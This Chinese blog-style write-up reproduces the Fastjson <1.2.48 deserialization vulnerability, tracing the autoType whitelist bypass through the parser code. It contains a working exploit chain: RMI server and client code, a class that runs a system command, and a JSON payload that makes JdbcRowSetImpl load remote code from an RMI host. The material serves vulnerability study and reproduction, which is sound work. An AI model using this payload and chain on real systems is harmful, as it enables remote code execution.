Fastjson<1.2.48反序列化漏洞复现

JdbcRowSetImpl类简单使用

Jndi 全称是:Java Naming and Directory Interface,叫做Java命名和目录接口、SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
rmi服务器简单使用示例,由RMIServer,RMIClient,字节码文件三部分组成:
RMIServer.java

  1. package fxlh.rmi;
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import javax.naming.Reference;
  4. import java.rmi.registry.LocateRegistry;
  5. import java.rmi.registry.Registry;
  6. /**
  7. * @Author: white_xiaosheng
  8. * @Description: 该类是一个rmi服务端
  9. * @CreateTime: 2021/1/24 9:33 下午
  10. * @Version 1.0
  11. */
  12. public class RMIServer {
  13. public static void main(String argv[]) {
  14. try {
  15. Registry registry = LocateRegistry.createRegistry(1090);
  16. /**
  17. * reference的三个参数
  18. * classname : 代码执行类的名称
  19. * factory : 代码执行类的全限定名称
  20. * factoryLocation : factoryLocation : 代码执行class类的服务器地址
  21. */
  22. Reference reference = new Reference("NameKnow",
  23. "NameKnow",
  24. "http://localhost:7001/NameKnow.class" );
  25. registry.bind("name", new ReferenceWrapper(reference));
  26. System.out.println("Ready!");
  27. System.out.println("Waiting for connection......");
  28. } catch (Exception e) {
  29. System.out.println("RMIServer: " + e.getMessage());
  30. e.printStackTrace();
  31. }
  32. }
  33. }

RMIClient.java

  1. package fxlh.rmi;
  2. import com.sun.rowset.JdbcRowSetImpl;
  3. import javax.naming.InitialContext;
  4. import javax.naming.NamingException;
  5. import java.sql.SQLException;
  6. /**
  7. * @Author: white_xiaosheng
  8. * @Description: 该类是一个rmi客户端
  9. * @CreateTime: 2021/1/24 10:34 下午
  10. * @Version 1.0
  11. */
  12. public class RMIClient {
  13. /**
  14. * 高版本jdk中存在com.sun.jndi.rmi.object.trustURLCodebase限制
  15. * 解决办法:
  16. * idea中需配置-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
  17. */
  18. public static void main(String[] args) throws NamingException, SQLException {
  19. // 底层实现方法
  20. // new InitialContext().lookup("rmi://127.0.0.1:1090/name");
  21. // JdbcRowSetImpl使用代码逻辑实现
  22. JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
  23. jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1090/name");
  24. jdbcRowSet.setAutoCommit(true);
  25. jdbcRowSet.execute();
  26. }
  27. }

Nameknow.java

  1. /**
  2. * @Author: white_xiaosheng
  3. * @Description: 该类是一个命令执行类
  4. * @CreateTime: 2021/1/24 10:14 下午
  5. * @Version 1.0
  6. */
  7. import java.io.*;
  8. public class NameKnow {
  9. public NameKnow() throws Exception {
  10. final Process process = Runtime.getRuntime().exec("whoami");
  11. int value = process.waitFor();
  12. if(value == 0) {
  13. System.out.println("command exec success");
  14. Reader reader = new InputStreamReader(process.getInputStream());
  15. BufferedReader bf = new BufferedReader(reader);
  16. String line = null;
  17. while ((line = bf.readLine()) != null) {
  18. System.out.println(line);
  19. }
  20. }else{
  21. System.out.println("command exec fail");
  22. }
  23. }
  24. public static void main(String[] args) throws Exception {
  25. NameKnow exploit = new NameKnow();
  26. }
  27. }

测试结果:
test-1
test-2

漏洞描述

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

受影响的版本

Fastjson <1.2.48
复现环境
fastjson1.2.47+jdk1.8_102

漏洞复现

杀伤链分析

可控参数传递到后端->经过json转对象类构造出一个class类->经过Method.invoke实现setter方法加载类字段属性->setAutoCommit实现中存在jndi接口->代码执行

断点设置

com/alibaba/fastjson/JSON.java

  • Object value = parser.parse();

com/alibaba/fastjson/parser/DefaultJSONParser.java

  • obj = this.parseObject((Map)input, key);
  • Class<?> clazz = config.checkAutoType(typeName, null);
  • 3return deserializer.deserialze(this, clazz, fieldName);

com/alibaba/fastjson/parser/ParserConfig.java

  • Class<?> clazz = TypeUtils.getClassFromMapping(typeName);

com/alibaba/fastjson/serializer/MiscCodec.java

  • strVal = (String) objVal;
  • return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java

  • value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
  • setValue(object, value);

com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java

  • method.invoke(object, value);

    代码分析

    构造poc进行测试,跟踪数据流
    1
    进入下一个断点这里进入DefaultJSONParser解析器
    2
    跟踪进parser.parse()函数进入到parserObject函数
    3
    进入parserObject函数,首先会执行checkAutoType方法,检查type参数的类型
    14
    进入checkAutoType方法,首先先去mappings中查询type,查询不到则和buckets数组的数据进行对比,如果名单存在该type字符串则返回其的class类,否则报错
    15
    根据clazz构造出一个序列化解析器解析前台传递过来的json数据
    4
    DefaultJSONParser解析器的parseObject这个方法很重要,可以json数据的解析为对象
    loadClass这里是绕过逻辑,当第一个json转换的类是Class.class类型时,会根据其val值生成jdbcRowSetImpl类
    16
    跟入loadClass方法可以看到jdbcRowSetImpl类是从mappings数组中取出来的
    17
    第二次进入checkAutoType方法时可以看到jdbcRowSetImpl检测通过了,mappings中有了jdbcRowSetImpl类
    18
    解析器通过json数组的key获取其value值,dataSourceName的value值是rmi://127.0.0.1:9000/Exploit
    5
    继续追踪断点,可以看到setValue方法,这个方法是要把value值赋予object类,即dataSourceName值装载进j dbcRowSetImpl类中
    7
    进入到setValue方法中,可以查到装载实现是通过method.invoke实现的(即通过反射调用该类的setter方法进行装载数据)
    8
    继续跟踪断点,这里是第二次执行到setValue方法,设置autoCommit的值进jdbcRowSetImpl类中
    9
    跟进反射调用的setter方法(jdbcRowSetImpl类在jdk中,可以打断点也也可以一步步跟入),这里是设置autoCommit,即进入setAutoCommit方法,该方法在执行下一个setAutoCommit方法前会先调用this.connect()方法
    11
    跟入this.connect的方法,可以看到有lookup方法的调用,lookup方法的参数也是一个rmi调用实现,lookup方法的调用就是jndi的调用远程接口的特征,该方法为什么可以触发代码执行可自行尝试jndi的代码实现(参考JdbcRowSetImpl类简单使用)
    12
    注意点: ``` { “b”:{
    1. "@type":"com.sun.rowset.JdbcRowSetImpl",
    2. "dataSourceName":"rmi://192.168.0.109:9000/Exploit",
    3. "autoCommit":true
    } }

``` 根据1.2.47实际测试结果表明com.sun.rowset.JdbcRowSetImpl并未设置为黑名单,可通过原有payload攻击。